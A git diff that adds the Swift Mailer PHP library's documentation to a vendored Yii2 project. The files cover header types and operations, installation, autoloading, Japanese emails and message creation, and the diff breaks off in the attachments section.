$message->getHeaders()->get('Content-Type'); + + $type->setValue('text/html'); + $type->setParameter('charset', 'utf-8'); + + echo $type->toString(); + + /* + + Content-Type: text/html; charset=utf-8 + + */ + +If the header contains any characters that are outside of the US-ASCII range +however, they will be encoded, just like they are for text headers. This is +nothing to be concerned about since mail clients will decode them back. +Likewise, if the parameters contain any non-ascii characters they will be +encoded so that they can be transmitted safely. + +.. code-block:: php + + $attachment = Swift_Attachment::newInstance(); + + $disp = $attachment->getHeaders()->get('Content-Disposition'); + + $disp->setValue('attachment'); + $disp->setParameter('filename', 'report–may.pdf'); + + echo $disp->toString(); + + /* + + Content-Disposition: attachment; filename*=utf-8''report%E2%80%93may.pdf + + */ + +Date Headers +~~~~~~~~~~~~ + +Date headers contains an RFC 2822 formatted date (i.e. what PHP's ``date('r')`` +returns). They are used anywhere a date or time is needed to be presented as a +message header. + +The data on which a date header is modeled is simply a UNIX timestamp such as +that returned by ``time()`` or ``strtotime()``. The timestamp is used to create +a correctly structured RFC 2822 formatted date such as +``Tue, 17 Feb 2009 22:26:31 +1100``. + +The obvious place this header type is used is in the ``Date:`` header of the +message itself. + +It's easy to add a new date header to a HeaderSet. You do this by calling +the HeaderSet's ``addDateHeader()`` method. + +.. code-block:: php + + $message = Swift_Message::newInstance(); + + $headers = $message->getHeaders(); + + $headers->addDateHeader('Your-Header-Name', strtotime('3 days ago')); + +Changing the value of an existing date header is done by calling it's +``setTimestamp()`` method. + +.. code-block:: php + + $date = $message->getHeaders()->get('Date'); + + $date->setTimestamp(time()); + +When output via ``toString()``, a date header produces something like the +following: + +.. code-block:: php + + $date = $message->getHeaders()->get('Date'); + + echo $date->toString(); + + /* + + Date: Wed, 18 Feb 2009 13:35:02 +1100 + + */ + +Mailbox (e-mail address) Headers +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Mailbox headers contain one or more email addresses, possibly with +personalized names attached to them. The data on which they are modeled is +represented by an associative array of email addresses and names. + +Mailbox headers are probably the most complex header type to understand in +Swift Mailer because they accept their input as an array which can take various +forms, as described in the previous chapter. + +All of the headers that contain e-mail addresses in a message -- with the +exception of ``Return-Path:`` which has a stricter syntax -- use this header +type. That is, ``To:``, ``From:`` etc. + +You add a new mailbox header to a HeaderSet by calling the HeaderSet's +``addMailboxHeader()`` method. + +.. code-block:: php + + $message = Swift_Message::newInstance(); + + $headers = $message->getHeaders(); + + $headers->addMailboxHeader('Your-Header-Name', array( + 'person1@example.org' => 'Person Name One', + 'person2@example.org', + 'person3@example.org', + 'person4@example.org' => 'Another named person' + )); + +Changing the value of an existing mailbox header is done by calling it's +``setNameAddresses()`` method. + +.. code-block:: php + + $to = $message->getHeaders()->get('To'); + + $to->setNameAddresses(array( + 'joe@example.org' => 'Joe Bloggs', + 'john@example.org' => 'John Doe', + 'no-name@example.org' + )); + +If you don't wish to concern yourself with the complicated accepted input +formats accepted by ``setNameAddresses()`` as described in the previous chapter +and you only want to set one or more addresses (not names) then you can just +use the ``setAddresses()`` method instead. + +.. code-block:: php + + $to = $message->getHeaders()->get('To'); + + $to->setAddresses(array( + 'joe@example.org', + 'john@example.org', + 'no-name@example.org' + )); + +.. note:: + + Both methods will accept the above input format in practice. + +If all you want to do is set a single address in the header, you can use a +string as the input parameter to ``setAddresses()`` and/or +``setNameAddresses()``. + +.. code-block:: php + + $to = $message->getHeaders()->get('To'); + + $to->setAddresses('joe-bloggs@example.org'); + +When output via ``toString()``, a mailbox header produces something like the +following: + +.. code-block:: php + + $to = $message->getHeaders()->get('To'); + + $to->setNameAddresses(array( + 'person1@example.org' => 'Name of Person', + 'person2@example.org', + 'person3@example.org' => 'Another Person' + )); + + echo $to->toString(); + + /* + + To: Name of Person , person2@example.org, Another Person + + + */ + +ID Headers +~~~~~~~~~~ + +ID headers contain identifiers for the entity (or the message). The most +notable ID header is the Message-ID header on the message itself. + +An ID that exists inside an ID header looks more-or-less less like an email +address. For example, ``<1234955437.499becad62ec2@example.org>``. +The part to the left of the @ sign is usually unique, based on the current time +and some random factor. The part on the right is usually a domain name. + +Any ID passed to the header's ``setId()`` method absolutely MUST conform to +this structure, otherwise you'll get an Exception thrown at you by Swift Mailer +(a ``Swift_RfcComplianceException``). This is to ensure that the generated +email complies with relevant RFC documents and therefore is less likely to be +blocked as spam. + +It's easy to add a new ID header to a HeaderSet. You do this by calling +the HeaderSet's ``addIdHeader()`` method. + +.. code-block:: php + + $message = Swift_Message::newInstance(); + + $headers = $message->getHeaders(); + + $headers->addIdHeader('Your-Header-Name', '123456.unqiue@example.org'); + +Changing the value of an existing date header is done by calling its +``setId()`` method. + +.. code-block:: php + + $msgId = $message->getHeaders()->get('Message-ID'); + + $msgId->setId(time() . '.' . uniqid('thing') . '@example.org'); + +When output via ``toString()``, an ID header produces something like the +following: + +.. code-block:: php + + $msgId = $message->getHeaders()->get('Message-ID'); + + echo $msgId->toString(); + + /* + + Message-ID: <1234955437.499becad62ec2@example.org> + + */ + +Path Headers +~~~~~~~~~~~~ + +Path headers are like very-restricted mailbox headers. They contain a single +email address with no associated name. The Return-Path header of a message is +a path header. + +You add a new path header to a HeaderSet by calling the HeaderSet's +``addPathHeader()`` method. + +.. code-block:: php + + $message = Swift_Message::newInstance(); + + $headers = $message->getHeaders(); + + $headers->addPathHeader('Your-Header-Name', 'person@example.org'); + + +Changing the value of an existing path header is done by calling its +``setAddress()`` method. + +.. code-block:: php + + $return = $message->getHeaders()->get('Return-Path'); + + $return->setAddress('my-address@example.org'); + +When output via ``toString()``, a path header produces something like the +following: + +.. code-block:: php + + $return = $message->getHeaders()->get('Return-Path'); + + $return->setAddress('person@example.org'); + + echo $return->toString(); + + /* + + Return-Path: + + */ + +Header Operations +----------------- + +Working with the headers in a message involves knowing how to use the methods +on the HeaderSet and on the individual Headers within the HeaderSet. + +Adding new Headers +~~~~~~~~~~~~~~~~~~ + +New headers can be added to the HeaderSet by using one of the provided +``add..Header()`` methods. + +To add a header to a MIME entity (such as the message): + +Get the HeaderSet from the entity by via its ``getHeaders()`` method. + +* Add the header to the HeaderSet by calling one of the ``add..Header()`` + methods. + +The added header will appear in the message when it is sent. + +.. code-block:: php + + // Adding a custom header to a message + $message = Swift_Message::newInstance(); + $headers = $message->getHeaders(); + $headers->addTextHeader('X-Mine', 'something here'); + + // Adding a custom header to an attachment + $attachment = Swift_Attachment::fromPath('/path/to/doc.pdf'); + $attachment->getHeaders()->addDateHeader('X-Created-Time', time()); + +Retrieving Headers +~~~~~~~~~~~~~~~~~~ + +Headers are retrieved through the HeaderSet's ``get()`` and ``getAll()`` +methods. + +To get a header, or several headers from a MIME entity: + +* Get the HeaderSet from the entity by via its ``getHeaders()`` method. + +* Get the header(s) from the HeaderSet by calling either ``get()`` or + ``getAll()``. + +When using ``get()`` a single header is returned that matches the name (case +insensitive) that is passed to it. When using ``getAll()`` with a header name, +an array of headers with that name are returned. Calling ``getAll()`` with no +arguments returns an array of all headers present in the entity. + +.. note:: + + It's valid for some headers to appear more than once in a message (e.g. + the Received header). For this reason ``getAll()`` exists to fetch all + headers with a specified name. In addition, ``get()`` accepts an optional + numerical index, starting from zero to specify which header you want more + specifically. + +.. note:: + + If you want to modify the contents of the header and you don't know for + sure what type of header it is then you may need to check the type by + calling its ``getFieldType()`` method. + + .. code-block:: php + + $headers = $message->getHeaders(); + + // Get the To: header + $toHeader = $headers->get('To'); + + // Get all headers named "X-Foo" + $fooHeaders = $headers->getAll('X-Foo'); + + // Get the second header named "X-Foo" + $foo = $headers->get('X-Foo', 1); + + // Get all headers that are present + $all = $headers->getAll(); + +Check if a Header Exists +~~~~~~~~~~~~~~~~~~~~~~~~ + +You can check if a named header is present in a HeaderSet by calling its +``has()`` method. + +To check if a header exists: + +* Get the HeaderSet from the entity by via its ``getHeaders()`` method. + +* Call the HeaderSet's ``has()`` method specifying the header you're looking + for. + +If the header exists, ``true`` will be returned or ``false`` if not. + +.. note:: + + It's valid for some headers to appear more than once in a message (e.g. + the Received header). For this reason ``has()`` accepts an optional + numerical index, starting from zero to specify which header you want to + check more specifically. + + .. code-block:: php + + $headers = $message->getHeaders(); + + // Check if the To: header exists + if ($headers->has('To')) { + echo 'To: exists'; + } + + // Check if an X-Foo header exists twice (i.e. check for the 2nd one) + if ($headers->has('X-Foo', 1)) { + echo 'Second X-Foo header exists'; + } + +Removing Headers +~~~~~~~~~~~~~~~~ + +Removing a Header from the HeaderSet is done by calling the HeaderSet's +``remove()`` or ``removeAll()`` methods. + +To remove an existing header: + +* Get the HeaderSet from the entity by via its ``getHeaders()`` method. + +* Call the HeaderSet's ``remove()`` or ``removeAll()`` methods specifying the + header you want to remove. + +When calling ``remove()`` a single header will be removed. When calling +``removeAll()`` all headers with the given name will be removed. If no headers +exist with the given name, no errors will occur. + +.. note:: + + It's valid for some headers to appear more than once in a message (e.g. + the Received header). For this reason ``remove()`` accepts an optional + numerical index, starting from zero to specify which header you want to + check more specifically. For the same reason, ``removeAll()`` exists to + remove all headers that have the given name. + + .. code-block:: php + + $headers = $message->getHeaders(); + + // Remove the Subject: header + $headers->remove('Subject'); + + // Remove all X-Foo headers + $headers->removeAll('X-Foo'); + + // Remove only the second X-Foo header + $headers->remove('X-Foo', 1); + +Modifying a Header's Content +~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +To change a Header's content you should know what type of header it is and then +call it's appropriate setter method. All headers also have a +``setFieldBodyModel()`` method that accepts a mixed parameter and delegates to +the correct setter. + +To modify an existing header: + +* Get the HeaderSet from the entity by via its ``getHeaders()`` method. + +* Get the Header by using the HeaderSet's ``get()``. + +* Call the Header's appropriate setter method or call the header's + ``setFieldBodyModel()`` method. + +The header will be updated inside the HeaderSet and the changes will be seen +when the message is sent. + +.. code-block:: php + + $headers = $message->getHeaders(); + + // Change the Subject: header + $subj = $headers->get('Subject'); + $subj->setValue('new subject here'); + + // Change the To: header + $to = $headers->get('To'); + $to->setNameAddresses(array( + 'person@example.org' => 'Person', + 'thing@example.org' + )); + + // Using the setFieldBodyModel() just delegates to the correct method + // So here to calls setNameAddresses() + $to->setFieldBodyModel(array( + 'person@example.org' => 'Person', + 'thing@example.org' + )); diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/doc/help-resources.rst b/php/yii2/basic/vendor/swiftmailer/swiftmailer/doc/help-resources.rst new file mode 100644 index 00000000..42089359 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/doc/help-resources.rst @@ -0,0 +1,44 @@ +Getting Help +============ + +There are a number of ways you can get help when using Swift Mailer, depending +upon the nature of your problem. For bug reports and feature requests create a +new ticket in GitHub. For general advice ask on the Google Group +(swiftmailer). + +Submitting Bugs & Feature Requests +---------------------------------- + +Bugs and feature requests should be posted on GitHub. + +If you post a bug or request a feature in the forum, or on the Google Group +you will most likely be asked to create a ticket in `GitHub`_ since it is +simply not feasible to manage such requests from a number of a different +sources. + +When you go to GitHub you will be asked to create a username and password +before you can create a ticket. This is free and takes very little time. + +When you create your ticket, do not assign it to any milestones. A developer +will assess your ticket and re-assign it as needed. + +If your ticket is reporting a bug present in the current version, which was +not present in the previous version please include the tag "regression" in +your ticket. + +GitHub will update you when work is performed on your ticket. + +Ask on the Google Group +----------------------- + +You can seek advice at Google Groups, within the "swiftmailer" `group`_. + +You can post messages to this group if you want help, or there's something you +wish to discuss with the developers and with other users. + +This is probably the fastest way to get help since it is primarily email-based +for most users, though bug reports should not be posted here since they may +not be resolved. + +.. _`GitHub`: https://github.com/swiftmailer/swiftmailer/issues +.. _`group`: http://groups.google.com/group/swiftmailer diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/doc/including-the-files.rst b/php/yii2/basic/vendor/swiftmailer/swiftmailer/doc/including-the-files.rst new file mode 100644 index 00000000..978dca20 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/doc/including-the-files.rst @@ -0,0 +1,46 @@ +Including Swift Mailer (Autoloading) +==================================== + +If you are using Composer, Swift Mailer will be automatically autoloaded. + +If not, you can use the built-in autoloader by requiring the +``swift_required.php`` file:: + + require_once '/path/to/swift-mailer/lib/swift_required.php'; + + /* rest of code goes here */ + +If you want to override the default Swift Mailer configuration, call the +``init()`` method on the ``Swift`` class and pass it a valid PHP callable (a +PHP function name, a PHP 5.3 anonymous function, ...):: + + require_once '/path/to/swift-mailer/lib/swift_required.php'; + + function swiftmailer_configurator() { + // configure Swift Mailer + + Swift_DependencyContainer::getInstance()->... + Swift_Preferences::getInstance()->... + } + + Swift::init('swiftmailer_configurator'); + + /* rest of code goes here */ + +The advantage of using the ``init()`` method is that your code will be +executed only if you use Swift Mailer in your script. + +.. note:: + + While Swift Mailer's autoloader is designed to play nicely with other + autoloaders, sometimes you may have a need to avoid using Swift Mailer's + autoloader and use your own instead. Include the ``swift_init.php`` + instead of the ``swift_required.php`` if you need to do this. The very + minimum include is the ``swift_init.php`` file since Swift Mailer will not + work without the dependency injection this file sets up: + + .. code-block:: php + + require_once '/path/to/swift-mailer/lib/swift_init.php'; + + /* rest of code goes here */ diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/doc/index.rst b/php/yii2/basic/vendor/swiftmailer/swiftmailer/doc/index.rst new file mode 100644 index 00000000..a1a0a924 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/doc/index.rst @@ -0,0 +1,16 @@ +Swiftmailer +=========== + +.. toctree:: + :maxdepth: 2 + + introduction + overview + installing + help-resources + including-the-files + messages + headers + sending + plugins + japanese diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/doc/installing.rst b/php/yii2/basic/vendor/swiftmailer/swiftmailer/doc/installing.rst new file mode 100644 index 00000000..557211d4 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/doc/installing.rst @@ -0,0 +1,89 @@ +Installing the Library +====================== + +Installing with Composer +------------------------ + +The recommended way to install Swiftmailer is via Composer: + +.. code-block:: bash + + $ php composer.phar require swiftmailer/swiftmailer @stable + +Installing from Git +------------------- + +It's possible to download and install Swift Mailer directly from github.com if +you want to keep up-to-date with ease. + +Swift Mailer's source code is kept in a git repository at github.com so you +can get the source directly from the repository. + +.. note:: + + You do not need to have git installed to use Swift Mailer from GitHub. If + you don't have git installed, go to `GitHub`_ and click the "Download" + button. + +Cloning the Repository +~~~~~~~~~~~~~~~~~~~~~~ + +The repository can be cloned from git://github.com/swiftmailer/swiftmailer.git +using the ``git clone`` command. + +You will need to have ``git`` installed before you can use the +``git clone`` command. + +To clone the repository: + +* Open your favorite terminal environment (command line). + +* Move to the directory you want to clone to. + +* Run the command ``git clone git://github.com/swiftmailer/swiftmailer.git + swiftmailer``. + +The source code will be downloaded into a directory called "swiftmailer". + +The example shows the process on a UNIX-like system such as Linux, BSD or Mac +OS X. + +.. code-block:: bash + + $ cd source_code/ + $ git clone git://github.com/swiftmailer/swiftmailer.git swiftmailer + Initialized empty Git repository in /Users/chris/source_code/swiftmailer/.git/ + remote: Counting objects: 6815, done. + remote: Compressing objects: 100% (2761/2761), done. + remote: Total 6815 (delta 3641), reused 6326 (delta 3286) + Receiving objects: 100% (6815/6815), 4.35 MiB | 162 KiB/s, done. + Resolving deltas: 100% (3641/3641), done. + Checking out files: 100% (1847/1847), done. + $ cd swiftmailer/ + $ ls + CHANGES LICENSE ... + $ + +Troubleshooting +--------------- + +Swift Mailer does not work when used with function overloading as implemented +by ``mbstring`` (``mbstring.func_overload`` set to ``2``). A workaround is to +temporarily change the internal encoding to ``ASCII`` when sending an email: + +.. code-block:: php + + if (function_exists('mb_internal_encoding') && ((int) ini_get('mbstring.func_overload')) & 2) + { + $mbEncoding = mb_internal_encoding(); + mb_internal_encoding('ASCII'); + } + + // Create your message and send it with Swift Mailer + + if (isset($mbEncoding)) + { + mb_internal_encoding($mbEncoding); + } + +.. _`GitHub`: http://github.com/swiftmailer/swiftmailer diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/doc/introduction.rst b/php/yii2/basic/vendor/swiftmailer/swiftmailer/doc/introduction.rst new file mode 100644 index 00000000..a85336b7 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/doc/introduction.rst @@ -0,0 +1,135 @@ +Introduction +============ + +Swift Mailer is a component-based library for sending e-mails from PHP +applications. + +Organization of this Book +------------------------- + +This book has been written so that those who need information quickly are able +to find what they need, and those who wish to learn more advanced topics can +read deeper into each chapter. + +The book begins with an overview of Swift Mailer, discussing what's included +in the package and preparing you for the remainder of the book. + +It is possible to read this user guide just like any other book (from +beginning to end). Each chapter begins with a discussion of the contents it +contains, followed by a short code sample designed to give you a head start. +As you get further into a chapter you will learn more about Swift Mailer's +capabilities, but often you will be able to head directly to the topic you +wish to learn about. + +Throughout this book you will be presented with code samples, which most +people should find ample to implement Swift Mailer appropriately in their own +projects. We will also use diagrams where appropriate, and where we believe +readers may find it helpful we will discuss some related theory, including +reference to certain documents you are able to find online. + +Code Samples +------------ + +Code samples presented in this book will be displayed on a different colored +background in a monospaced font. Samples are not to be taken as copy & paste +code snippets. + +Code examples are used through the book to clarify what is written in text. +They will sometimes be usable as-is, but they should always be taken as +outline/pseudo code only. + +A code sample will look like this:: + + class AClass + { + ... + } + + // A Comment + $obj = new AClass($arg1, $arg2, ... ); + + /* A note about another way of doing something + $obj = AClass::newInstance($arg1, $arg2, ... ); + + */ + +The presence of 3 dots ``...`` in a code sample indicates that we have left +out a chunk of the code for brevity, they are not actually part of the code. + +We will often place multi-line comments ``/* ... */`` in the code so that we +can show alternative ways of achieving the same result. + +You should read the code examples given and try to understand them. They are +kept concise so that you are not overwhelmed with information. + +History of Swift Mailer +----------------------- + +Swift Mailer began back in 2005 as a one-class project for sending mail over +SMTP. It has since grown into the flexible component-based library that is in +development today. + +Chris Corbyn first posted Swift Mailer on a web forum asking for comments from +other developers. It was never intended as a fully supported open source +project, but members of the forum began to adopt it and make use of it. + +Very quickly feature requests were coming for the ability to add attachments +and use SMTP authentication, along with a number of other "obvious" missing +features. Considering the only alternative was PHPMailer it seemed like a good +time to bring some fresh tools to the table. Chris began working towards a +more component based, PHP5-like approach unlike the existing single-class, +legacy PHP4 approach taken by PHPMailer. + +Members of the forum offered a lot of advice and critique on the code as he +worked through this project and released versions 2 and 3 of the library in +2005 and 2006, which by then had been broken down into smaller classes +offering more flexibility and supporting plugins. To this day the Swift Mailer +team still receive a lot of feature requests from users both on the forum and +in by email. + +Until 2008 Chris was the sole developer of Swift Mailer, but entering 2009 he +gained the support of two experienced developers well-known to him: Paul +Annesley and Christopher Thompson. This has been an extremely welcome change. + +As of September 2009, Chris handed over the maintenance of Swift Mailer to +Fabien Potencier. + +Now 2009 and in its fourth major version Swift Mailer is more object-oriented +and flexible than ever, both from a usability standpoint and from a +development standpoint. + +By no means is Swift Mailer ready to call "finished". There are still many +features that can be added to the library along with the constant refactoring +that happens behind the scenes. + +It's a Library! +--------------- + +Swift Mailer is not an application - it's a library. + +To most experienced developers this is probably an obvious point to make, but +it's certainly worth mentioning. Many people often contact us having gotten +the completely wrong end of the stick in terms of what Swift Mailer is +actually for. + +It's not an application. It does not have a graphical user interface. It +cannot be opened in your web browser directly. + +It's a library (or a framework if you like). It provides a whole lot of +classes that do some very complicated things, so that you don't have to. You +"use" Swift Mailer within an application so that your application can have the +ability to send emails. + +The component-based structure of the library means that you are free to +implement it in a number of different ways and that you can pick and choose +what you want to use. + +An application on the other hand (such as a blog or a forum) is already "put +together" in a particular way, (usually) provides a graphical user interface +and most likely doesn't offer a great deal of integration with your own +application. + +Embrace the structure of the library and use the components it offers to your +advantage. Learning what the components do, rather than blindly copying and +pasting existing code will put you in a great position to build a powerful +application! diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/doc/japanese.rst b/php/yii2/basic/vendor/swiftmailer/swiftmailer/doc/japanese.rst new file mode 100644 index 00000000..34afa7b8 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/doc/japanese.rst @@ -0,0 +1,22 @@ +Using Swift Mailer for Japanese Emails +====================================== + +To send emails in Japanese, you need to tweak the default configuration. + +After requiring the Swift Mailer autoloader (by including the +``swift_required.php`` file), call the ``Swift::init()`` method with the +following code:: + + require_once '/path/to/swift-mailer/lib/swift_required.php'; + + Swift::init(function () { + Swift_DependencyContainer::getInstance() + ->register('mime.qpheaderencoder') + ->asAliasOf('mime.base64headerencoder'); + + Swift_Preferences::getInstance()->setCharset('iso-2022-jp'); + }); + + /* rest of code goes here */ + +That's all! diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/doc/messages.rst b/php/yii2/basic/vendor/swiftmailer/swiftmailer/doc/messages.rst new file mode 100644 index 00000000..7a192536 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/doc/messages.rst @@ -0,0 +1,1057 @@ +Creating Messages +================= + +Creating messages in Swift Mailer is done by making use of the various MIME +entities provided with the library. Complex messages can be quickly created +with very little effort. + +Quick Reference for Creating a Message +--------------------------------------- + +You can think of creating a Message as being similar to the steps you perform +when you click the Compose button in your mail client. You give it a subject, +specify some recipients, add any attachments and write your message. + +To create a Message: + +* Call the ``newInstance()`` method of ``Swift_Message``. + +* Set your sender address (``From:``) with ``setFrom()`` or ``setSender()``. + +* Set a subject line with ``setSubject()``. + +* Set recipients with ``setTo()``, ``setCc()`` and/or ``setBcc()``. + +* Set a body with ``setBody()``. + +* Add attachments with ``attach()``. + +.. code-block:: php + + require_once 'lib/swift_required.php'; + + // Create the message + $message = Swift_Message::newInstance() + + // Give the message a subject + ->setSubject('Your subject') + + // Set the From address with an associative array + ->setFrom(array('john@doe.com' => 'John Doe')) + + // Set the To addresses with an associative array + ->setTo(array('receiver@domain.org', 'other@domain.org' => 'A name')) + + // Give it a body + ->setBody('Here is the message itself') + + // And optionally an alternative body + ->addPart('Here is the message itself', 'text/html') + + // Optionally add any attachments + ->attach(Swift_Attachment::fromPath('my-document.pdf')) + ; + +Message Basics +-------------- + +A message is a container for anything you want to send to somebody else. There +are several basic aspects of a message that you should know. + +An e-mail message is made up of several relatively simple entities that are +combined in different ways to achieve different results. All of these entities +have the same fundamental outline but serve a different purpose. The Message +itself can be defined as a MIME entity, an Attachment is a MIME entity, all +MIME parts are MIME entities -- and so on! + +The basic units of each MIME entity -- be it the Message itself, or an +Attachment -- are its Headers and its body: + +.. code-block:: text + + Header-Name: A header value + Other-Header: Another value + + The body content itself + +The Headers of a MIME entity, and its body must conform to some strict +standards defined by various RFC documents. Swift Mailer ensures that these +specifications are followed by using various types of object, including +Encoders and different Header types to generate the entity. + +The Structure of a Message +~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Of all of the MIME entities, a message -- ``Swift_Message`` +is the largest and most complex. It has many properties that can be updated +and it can contain other MIME entities -- attachments for example -- +nested inside it. + +A Message has a lot of different Headers which are there to present +information about the message to the recipients' mail client. Most of these +headers will be familiar to the majority of users, but we'll list the basic +ones. Although it's possible to work directly with the Headers of a Message +(or other MIME entity), the standard Headers have accessor methods provided to +abstract away the complex details for you. For example, although the Date on a +message is written with a strict format, you only need to pass a UNIX +timestamp to ``setDate()``. + ++-------------------------------+------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------+ +| Header | Description | Accessors | ++===============================+====================================================================================================================================+=============================================+ +| ``Message-ID`` | Identifies this message with a unique ID, usually containing the domain name and time generated | ``getId()`` / ``setId()`` | ++-------------------------------+------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------+ +| ``Return-Path`` | Specifies where bounces should go (Swift Mailer reads this for other uses) | ``getReturnPath()`` / ``setReturnPath()`` | ++-------------------------------+------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------+ +| ``From`` | Specifies the address of the person who the message is from. This can be multiple addresses if multiple people wrote the message. | ``getFrom()`` / ``setFrom()`` | ++-------------------------------+------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------+ +| ``Sender`` | Specifies the address of the person who physically sent the message (higher precedence than ``From:``) | ``getSender()`` / ``setSender()`` | ++-------------------------------+------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------+ +| ``To`` | Specifies the addresses of the intended recipients | ``getTo()`` / ``setTo()`` | ++-------------------------------+------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------+ +| ``Cc`` | Specifies the addresses of recipients who will be copied in on the message | ``getCc()`` / ``setCc()`` | ++-------------------------------+------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------+ +| ``Bcc`` | Specifies the addresses of recipients who the message will be blind-copied to. Other recipients will not be aware of these copies. | ``getBcc()`` / ``setBcc()`` | ++-------------------------------+------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------+ +| ``Reply-To`` | Specifies the address where replies are sent to | ``getReplyTo()`` / ``setReplyTo()`` | ++-------------------------------+------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------+ +| ``Subject`` | Specifies the subject line that is displayed in the recipients' mail client | ``getSubject()`` / ``setSubject()`` | ++-------------------------------+------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------+ +| ``Date`` | Specifies the date at which the message was sent | ``getDate()`` / ``setDate()`` | ++-------------------------------+------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------+ +| ``Content-Type`` | Specifies the format of the message (usually text/plain or text/html) | ``getContentType()`` / ``setContentType()`` | ++-------------------------------+------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------+ +| ``Content-Transfer-Encoding`` | Specifies the encoding scheme in the message | ``getEncoder()`` / ``setEncoder()`` | ++-------------------------------+------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------+ + +Working with a Message Object +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Although there are a lot of available methods on a message object, you only +need to make use of a small subset of them. Usually you'll use +``setSubject()``, ``setTo()`` and +``setFrom()`` before setting the body of your message with +``setBody()``. + +Calling methods is simple. You just call them like functions, but using the +object operator "``->``" to do so. If you've created +a message object and called it ``$message`` then you'd set a +subject on it like so: + +.. code-block:: php + + require_once 'lib/swift_required.php'; + + $message = Swift_Message::newInstance(); + $message->setSubject('My subject'); + +All MIME entities (including a message) have a ``toString()`` +method that you can call if you want to take a look at what is going to be +sent. For example, if you ``echo +$message->toString();`` you would see something like this: + +.. code-block:: bash + + Message-ID: <1230173678.4952f5eeb1432@swift.generated> + Date: Thu, 25 Dec 2008 13:54:38 +1100 + Subject: Example subject + From: Chris Corbyn + To: Receiver Name + MIME-Version: 1.0 + Content-Type: text/plain; charset=utf-8 + Content-Transfer-Encoding: quoted-printable + + Here is the message + +We'll take a closer look at the methods you use to create your message in the +following sections. + +Adding Content to Your Message +------------------------------ + +Rich content can be added to messages in Swift Mailer with relative ease by +calling methods such as ``setSubject()``, ``setBody()``, ``addPart()`` and +``attach()``. + +Setting the Subject Line +~~~~~~~~~~~~~~~~~~~~~~~~ + +The subject line, displayed in the recipients' mail client can be set with the +``setSubject()`` method, or as a parameter to ``Swift_Message::newInstance()``. + +To set the subject of your Message: + +* Call the ``setSubject()`` method of the Message, or specify it at the time + you create the message. + + .. code-block:: php + + // Pass it as a parameter when you create the message + $message = Swift_Message::newInstance('My amazing subject'); + + // Or set it after like this + $message->setSubject('My amazing subject'); + +Setting the Body Content +~~~~~~~~~~~~~~~~~~~~~~~~ + +The body of the message -- seen when the user opens the message -- +is specified by calling the ``setBody()`` method. If an alternative body is to +be included ``addPart()`` can be used. + +The body of a message is the main part that is read by the user. Often people +want to send a message in HTML format (``text/html``), other +times people want to send in plain text (``text/plain``), or +sometimes people want to send both versions and allow the recipient to choose +how they view the message. + +As a rule of thumb, if you're going to send a HTML email, always include a +plain-text equivalent of the same content so that users who prefer to read +plain text can do so. + +To set the body of your Message: + +* Call the ``setBody()`` method of the Message, or specify it at the time you + create the message. + +* Add any alternative bodies with ``addPart()``. + +If the recipient's mail client offers preferences for displaying text vs. HTML +then the mail client will present that part to the user where available. In +other cases the mail client will display the "best" part it can - usually HTML +if you've included HTML. + +.. code-block:: php + + // Pass it as a parameter when you create the message + $message = Swift_Message::newInstance('Subject here', 'My amazing body'); + + // Or set it after like this + $message->setBody('My amazing body', 'text/html'); + + // Add alternative parts with addPart() + $message->addPart('My amazing body in plain text', 'text/plain'); + +Attaching Files +--------------- + +Attachments are downloadable parts of a message and can be added by calling +the ``attach()`` method on the message. You can add attachments that exist on +disk, or you can create attachments on-the-fly. + +Attachments are actually an interesting area of Swift Mailer and something +that could put a lot of power at your fingertips if you grasp the concept +behind the way a message is held together. + +Although we refer to files sent over e-mails as "attachments" -- because +they're attached to the message -- lots of other parts of the message are +actually "attached" even if we don't refer to these parts as attachments. + +File attachments are created by the ``Swift_Attachment`` class +and then attached to the message via the ``attach()`` method on +it. For all of the "every day" MIME types such as all image formats, word +documents, PDFs and spreadsheets you don't need to explicitly set the +content-type of the attachment, though it would do no harm to do so. For less +common formats you should set the content-type -- which we'll cover in a +moment. + +Attaching Existing Files +~~~~~~~~~~~~~~~~~~~~~~~~ + +Files that already exist, either on disk or at a URL can be attached to a +message with just one line of code, using ``Swift_Attachment::fromPath()``. + +You can attach files that exist locally, or if your PHP installation has +``allow_url_fopen`` turned on you can attach files from other +websites. + +To attach an existing file: + +* Create an attachment with ``Swift_Attachment::fromPath()``. + +* Add the attachment to the message with ``attach()``. + +The attachment will be presented to the recipient as a downloadable file with +the same filename as the one you attached. + +.. code-block:: php + + // Create the attachment + // * Note that you can technically leave the content-type parameter out + $attachment = Swift_Attachment::fromPath('/path/to/image.jpg', 'image/jpeg'); + + // Attach it to the message + $message->attach($attachment); + + + // The two statements above could be written in one line instead + $message->attach(Swift_Attachment::fromPath('/path/to/image.jpg')); + + + // You can attach files from a URL if allow_url_fopen is on in php.ini + 